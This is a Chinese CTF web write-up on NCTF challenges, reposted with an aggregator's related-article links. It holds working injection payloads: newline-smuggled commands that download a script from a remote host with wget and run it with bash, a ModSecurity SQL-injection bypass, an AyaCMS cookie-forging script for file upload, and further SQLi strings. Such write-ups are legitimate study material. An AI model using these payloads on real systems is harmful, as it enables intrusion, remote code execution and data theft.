NCTF web总结与复现

news2024/11/17 1:50:18

前言

打完NCTF休息了一下,总体感觉还行,学到了很多。

calc

这一题也卡了我很久,因为复现过DASCTF三月赛,一直在想着有没有可以替代反引号或绕过的方法,搞了好久都没出,在学长的提示下学到了一个方法,利用wget命令将自己的恶意脚本传到服务器上,然后再用bash命令调用。

有了这个提示后一直在尝试如何下载成功,但脚本中是这样的形式。

image-20221205193511587

可以在自己的虚拟机试一下,有了echo后无法直接echo wget xxx这样来下载。

如果仅仅以字符串直接传进去

'wget''%09''http://vps/feng123.sh'

会发现其会回显,然后也会传进log.txt中

wget http://vps/feng123.sh

在这里插入图片描述

也就是执行了echo wget xxx > ./tpm/log.txt这条命令,但是并不会将wget xxx当成命令来执行,只会将其当成echo命令的参数,而反引号和$()都被过滤,这时就要用到%0A了,换行符。

当我们将上边的命令左右两边加上%0a

%0A'wget'%09'http://vps/feng123.sh'%0A

image-20221205195243737

发现成功下载恶意脚本,这里思考一下为何会这样:

python调试不太会,只能自己稍微分析一下。

当加上换行符时:

命令执行后并不会在log.txt中留下痕迹,猜测一下,换行符其实是把之前一整个命令拆开,分成了两段。

先把过滤给去掉,然后还需要设计闭合一下前后代码防止其抛出异常。

'''1'%0Aecho `ls`> ./tmp/log2.txt%0A'ls'''

在这里插入图片描述

发现自己加进去那一条echo代码确实执行了,并且会发现前边那一条echo命令也执行成功了。

image-20221205201311687

然后继续尝试三段代码同时成功:(将主代码中的log.txt改为logs.txt)

'''2'%0Aecho `ls`> ./tmp/log2.txt%0A'echo'''

在这里插入图片描述

image-20221205201957499
在这里插入图片描述

三串代码全部执行,说明我的想法是没错的,接下来就可以直接远程下载恶意脚本,然后bash执行。

payload:

?num=%0A'wget'%09'http://vps/test.sh'%0A
?num=%0A'bash'%09'test.sh'%0A

ezbypass

第二个是一个sql注入绕过,hint提示waf是modsecurity,直接上网搜索sql modsecurity bypass。

SQLi bypass at PL1(CRS 3.2.0) · Issue #1727 · SpiderLabs/owasp-modsecurity-crs (github.com)

找到了绕过方法,然后就找password即可,因为题目直接给出了所在表,直接select查询即,本来我是直接查的是flag,但发现显示不存在,后边发现提示找password,所以找password字段即可。

payload:

?id=@.:=right(right((select%20hex(password)%20from%20users.info),1111),1111)%20union%23%0adistinctrow%0bselect@.

得到password后hex转码就是flag。

ez_php

在install.php中得到了版本为v3.1.2,然后在网上找到了相应的文件上传漏洞,但是还需要管理员密码,尝试爆破未成功。

然后就是伪造cookie,网上的脚本。

<?php
function random($length=4,$chars='abcdefghijklmnopqrstuvwxyz'){
	$hash='';
	$max=strlen($chars)-1;
	for($i=0;$i<$length;$i++)
		{
			$hash.=$chars[mt_rand(0,$max)];
		}
		return $hash;
	}
	function encrypt($txt,$key=''){
		$key or $key=AYA_KEY;
		$rnd=random(32);
		$len=strlen($txt);
		$ctr=0;
		$str='';
		for($i=0;$i<$len;$i++){
			$ctr=$ctr==32?0:$ctr;
			$str.=$rnd[$ctr].($txt[$i]^$rnd[$ctr++]);
		}
		return str_replace('=','',base64_encode(kecrypt($str,$key)));
	}
	function kecrypt($txt,$key){
		$key=md5($key);
		$len=strlen($txt);
		$ctr=0;
		$str='';
		for($i=0;$i<$len;$i++){
			$ctr=$ctr==32?0:$ctr;
			$str.=$txt[$i]^$key[$ctr++];
		}
		return $str;
	}

echo encrypt("../module/admin/fst_upload", 'aaa');

然后利用漏洞文件上传。

AyaCMS v3.1.2 has a Frontend Arbitrary File Upload Vulnerability · Issue #4 · loadream/AyaCMS (github.com)

ez_sql

这一题很无语,找到了类似的题,但并不理解。

Hack. lu CTF 2022 筆記 - Huli

结束后看了其他师傅们的payload:

?id=1&?=`in%20()%20union%20select%201,flag%20from%20flag;

看来找对地方也不一定能看懂人家的讲解,太fw了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/63676.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

最新出炉的阿里巴巴面试题及答案汇总(513页)

前言 秋招已经结束了&#xff0c;不知道各位有没有拿到自己心仪的offer&#xff1f;最近有不少粉丝去阿里巴巴面试了&#xff0c;回来之后我整理成了一份手册java面试时常用到的面试题&#xff08;附答案&#xff09;那么今天分享给大家&#xff0c;祝愿大家都能找到满意的工作…

HTML期末作业课程设计期末大作业——我的美丽家乡湛江 海鲜之都HTML+CSS+JavaScript

家乡旅游景点网页作业制作 网页代码运用了DIV盒子的使用方法&#xff0c;如盒子的嵌套、浮动、margin、border、background等属性的使用&#xff0c;外部大盒子设定居中&#xff0c;内部左中右布局&#xff0c;下方横向浮动排列&#xff0c;大学学习的前端知识点和布局方式都有…

python爬虫实战之逆向分析酷狗音乐

文章目录前言一、请求分析二、逆向思路三、全部代码总结前言 声明&#xff1a;本文章只是用于学习逆向知识&#xff0c;仅供学习&#xff0c;未经作者同意禁止转载 对于爬虫而言&#xff0c;不管是什么类型的都会遵循这几个步骤 获取目标url分析请求数据逆向解密数据伪造请求清…

算法日常训练12.5

首先有个很大的进步&#xff0c;看见困难题我没选择做逃兵跑路&#xff0c;这点起码是进步了&#xff0c;虽然算法能力还是那么拉&#xff0c;但是起码敢不自量力地分析一下。。。还能看题解理解下。 先找题解中最简单地一种超时方法开始理解&#xff0c;使用动态规划&#xff…

线程基础概念

1.线程基础 现代软件系统中&#xff0c;除了进程之外&#xff0c;线程也是一个十分重要的概念。特别是随着CPU频率增长开始出现停滞&#xff0c;而开始向多核方向发展。多线程&#xff0c;作为实现软件并发执行的一个重要的方法&#xff0c;也开始具有越来越重要的地位。 什么…

[本人毕业设计] 别踩白块_计算机科学与技术_前端H5游戏毕设

摘 要 本文详细介绍了网页版躲避白色钢琴块音乐游戏的设计和实现。由于游戏软件安装占据较大的空间与安装时间&#xff0c;而且步骤繁琐&#xff0c;用常规的游戏安装方法不能取得便捷的游戏安装体验。网页游戏是一种基于在网络游戏中被广泛应用&#xff0c;网页游戏更具有便捷…

【Tensorflow深度学习】实现手写字体识别、预测实战(附源码和数据集 超详细)

需要源码和数据集请点赞关注收藏后评论区留言私信~~~ 一、数据集简介 下面用到的数据集基于IAM数据集的英文手写字体自动识别应用&#xff0c;IAM数据库主要包含手写的英文文本&#xff0c;可用于训练和测试手写文本识别以及执行作者的识别和验证&#xff0c;该数据库在ICDAR1…

对副业的选择无论是自媒体还是 Python接单 ,始终绕不开IT行业。

前言 这个年代&#xff0c;成年人的日子活成了一部苦情戏。十年前&#xff0c;5000块钱工资还能过的自由自在&#xff1b;今天&#xff0c;估计连车贷&#xff0c;房贷&#xff0c;信用卡都不够还。所以一些想要改变现状的朋友&#xff0c;选择了副业这种形式&#xff0c;副业…

【Linux】Shell脚本详解

目录一.概述二.Linux提供的Shell解析器三.Shell入门1.执行一个简单的shell脚本2.脚本常用的执行方法四.变量1.系统预定义变量2.自定义变量3.特殊变量五.运算符六.条件判断1.单条件判断2.多条件判断七.流程控制(重点)1.if判断2.case语句3.for循环4.while循环八.read读取控制台输…

【论文简述】 Point-MVSNet:Point-Based Multi-View Stereo Network(ICCV 2019)

一、论文简述 1. 第一作者&#xff1a;Rui Chen、Songfang Han 2. 发表年份&#xff1a;2019 3. 发表期刊&#xff1a;ICCV 4. 关键词&#xff1a;MVS、深度学习、点云、迭代改进 5. 探索动机&#xff1a;很多传统方法通过多视图光度一致性和正则化优化迭代更新&#xff…

C语言实例|使用C程序优雅地杀掉其它程序进程

C语言文章更新目录 C语言学习资源汇总&#xff0c;史上最全面总结&#xff0c;没有之一 C/C学习资源&#xff08;百度云盘链接&#xff09; 计算机二级资料&#xff08;过级专用&#xff09; C语言学习路线&#xff08;从入门到实战&#xff09; 编写C语言程序的7个步骤和编程…

FPGA 20个例程篇:18.SD卡存放音频WAV播放(中)

第七章 实战项目提升&#xff0c;完善简历 18.SD卡存放音频WAV播放&#xff08;中&#xff09; 如图1所示是WM8731中11个寄存器功能说明概况图&#xff0c;我们需要对照手册&#xff0c;再去深入了解WM8731中的11个寄存器&#xff0c;怎么去配置这些寄存器达到预期的效果&…

了解3dmax坐标系

3dmax具有多种坐标系&#xff0c;其类别如下&#xff1b;默认的是View坐标系&#xff1b; 新建一个茶壶&#xff0c;此时默认是View坐标系&#xff1b; 切换到屏幕坐标系&#xff0c;看一下如下图&#xff1b;要保持视口区域激活&#xff1b; 根据资料&#xff0c;屏幕坐标系&a…

园区如何快速实现数据可视化分析?

对于园区运营方来说&#xff0c;如果没有专业针对性的管理方案以及管理系统辅助的话&#xff0c;实现园区可视化管理的难度非常大&#xff0c;而且操作成本会很高。但如果园区运营方选择引进快鲸智慧楼宇推出的园区数据孪生可视化管理系统的话就会简单很多。 快鲸智慧楼宇数据孪…

视频学习|Springboot在线学习系统

作者主页&#xff1a;编程千纸鹤 作者简介&#xff1a;Java、前端、Pythone开发多年&#xff0c;做过高程&#xff0c;项目经理&#xff0c;架构师 主要内容&#xff1a;Java项目开发、毕业设计开发、面试技术整理、最新技术分享 收藏点赞不迷路 关注作者有好处 文末获得源码 …

对文本进行情感分析(分类)snownlp模块

【小白从小学Python、C、Java】 【计算机等级考试500强双证书】 【Python-数据分析】 对文本进行情感分析(分类) snownlp模块 选择题 对于以下python代码表述错误的一项是? from snownlp import SnowNLP myText我爱学python&#xff01; print("【显示】text"…

艾美捷ICT FLICA天冬氨酸蛋白酶(Caspase)活性检测试剂盒说明书

Caspases在细胞凋亡和炎症中发挥重要作用。艾美捷ICT FLICA天冬氨酸蛋白酶&#xff08;Caspase&#xff09;活性检测试剂盒被研究人员用于通过培养的细胞和组织中的胱天蛋白酶活性来定量凋亡。用FAM FLICA caspase-1测定试剂盒检测caspase-1活性。该体外试验使用荧光抑制剂探针…

[附源码]计算机毕业设计JAVA音乐网站

[附源码]计算机毕业设计JAVA音乐网站 项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven…

一步登顶还是步步维艰?Java 资深架构师撰下的“阿里 P7 成神之路”

很多刚接触到 Java 开发的程序员都以为 Java 资深开发工程师就已经是 Java 开发的顶了&#xff0c;或者是不清楚架构师是干什么的。 举个例子说吧&#xff1a; 房屋建造。 架构师们根据房屋造型的需求设计出适合的构造&#xff0c;然后再反复测算这个框架搭建的可行性&#…

C++文件操作

文章目录计算机文件到底是什么&#xff08;通俗易懂&#xff09;&#xff1f;C文件类&#xff08;文件流类&#xff09;及用法详解C open 打开文件&#xff08;含打开模式一览表&#xff09;使用 open 函数打开文件使用流类的构造函数打开文件文本打开方式和二进制打开方式的区…